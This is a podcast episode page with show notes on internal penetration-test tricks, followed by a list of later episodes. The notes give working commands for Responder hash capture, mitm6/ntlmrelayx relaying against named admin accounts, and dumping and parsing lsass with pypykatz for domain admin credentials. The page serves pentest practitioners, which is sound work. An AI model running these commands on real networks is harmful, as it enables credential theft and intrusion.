7MS #423: Tales of Internal Pentest Pwnage - Part 18
7 Minute Security15 Heinä 2020

7MS #423: Tales of Internal Pentest Pwnage - Part 18

This is an especially fun tale of pentest pwnage because it involves D.D.A.D. (Double Domain Admin Dance) and varying T.T.D.A. (Time to Domain Admin). The key takeaways I want to share from these tests are as follows:

  • Responder.py -i eth0 -rPv is AWESOME. It can make the network rain hashes like manna from heaven!
  • Testing the egress firewall is easy with this script. Consider this SANS article for guidance on ports to lock down.
  • Testing for MS14-025 is easy with this site.
  • mitm6 and ntlmrelayx can work really well together to rain shells if you follow this article. It's especially handy/focused when you create a targets.txt that looks something like this:
smb://CORP\Administrator@192.168.195.2 smb://CORP\Administrator@192.168.195.3 smb://CORP\brian.admin@192.168.195.7 192.168.195.7 192.168.195.10

Then save that as your targets.txt and run ntlmrelayx with ./ntlmrelayx.py -tf /targets.txt -socks -smb2support. From there, once you get active socks connections, you can connect to them directly with a full interactive shell with something like proxychains smbclient //192.168.195.2/ -U CORP/brian.admin

  • I ran into a weird issue with CrackMapExec where the --local-auth flag didn't seem to be working so I ended up trying the binary version and then it worked like a champ!

  • Looking to dump lsass a "clean" way? Try RDPing in directly to the victim machine, opening up taskmgr.exe, click the Details tab, then right-click lsass.exe and choose Create dump file and bam, done.

  • Wanna spin up a quick SMB share from your Kali box? Try smbserver.py -smb2support share /share

  • Then, once you've pulled back the lsass.dmp file, you can rip through it easily with:

pip3 install pypykatz sudo pypykatz lsa minidump lsass.dmp > lsass.txt

Then comb through lsass.txt and hopefully there will be some delicious and nutritious DA creds there for you to much on!

Jaksot(714)

7MS #690: Tales of Pentest Pwnage – Part 74

7MS #690: Tales of Pentest Pwnage – Part 74

Today's tale of pentest pwnage is a classic case of "If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you've already enumerated, because that can ...

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7MS #689: Pwning Ninja Hacker Academy – Part 2

7MS #689: Pwning Ninja Hacker Academy – Part 2

Hello friends! Today your friend and mine, Joe "The Machine" Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy! Today's pwnage includes: "Upgrading" our Sliver C2 connection to...

22 Elo 202515min

7MS #688: Building a Pentest Training Course Is Fun and Frustrating

7MS #688: Building a Pentest Training Course Is Fun and Frustrating

Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very car...

16 Elo 202522min

7MS #687: A Peek into the 7MS Mail Bag – Part 5

7MS #687: A Peek into the 7MS Mail Bag – Part 5

Hi friends, we're doing something today we haven't done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I'm starting a solo business venture as a security co...

11 Elo 202557min

7MS #686: Our New Pentest Training Course is Almost Ready

7MS #686: Our New Pentest Training Course is Almost Ready

Oh man, I'm so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab...

1 Elo 202523min

7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

Today's kind of a "story time with your friend Brian" episode: a tale of how my neighbor almost got scammed out of $13k. The story has a lot of red flags we can all keep in mind to keep ourselves (as...

25 Heinä 202522min

7MS #684: Pwning Ninja Hacker Academy

7MS #684: Pwning Ninja Hacker Academy

Hey friends, today we start pwning Ninja Hacker Academy – cool CTF-style lab that has you start with no cred and try to conquer domain admin on two domains!

18 Heinä 202522min

7MS #683: What I'm Working on This Week - Part 4

7MS #683: What I'm Working on This Week - Part 4

This week I'm working on a mixed bag of fun security and marketing things: A pentest I'm stuck on My latest lab CTF obsession: Ninja Hacker Academy A cool "about 7MinSec" marketing video that was rec...

12 Heinä 202530min

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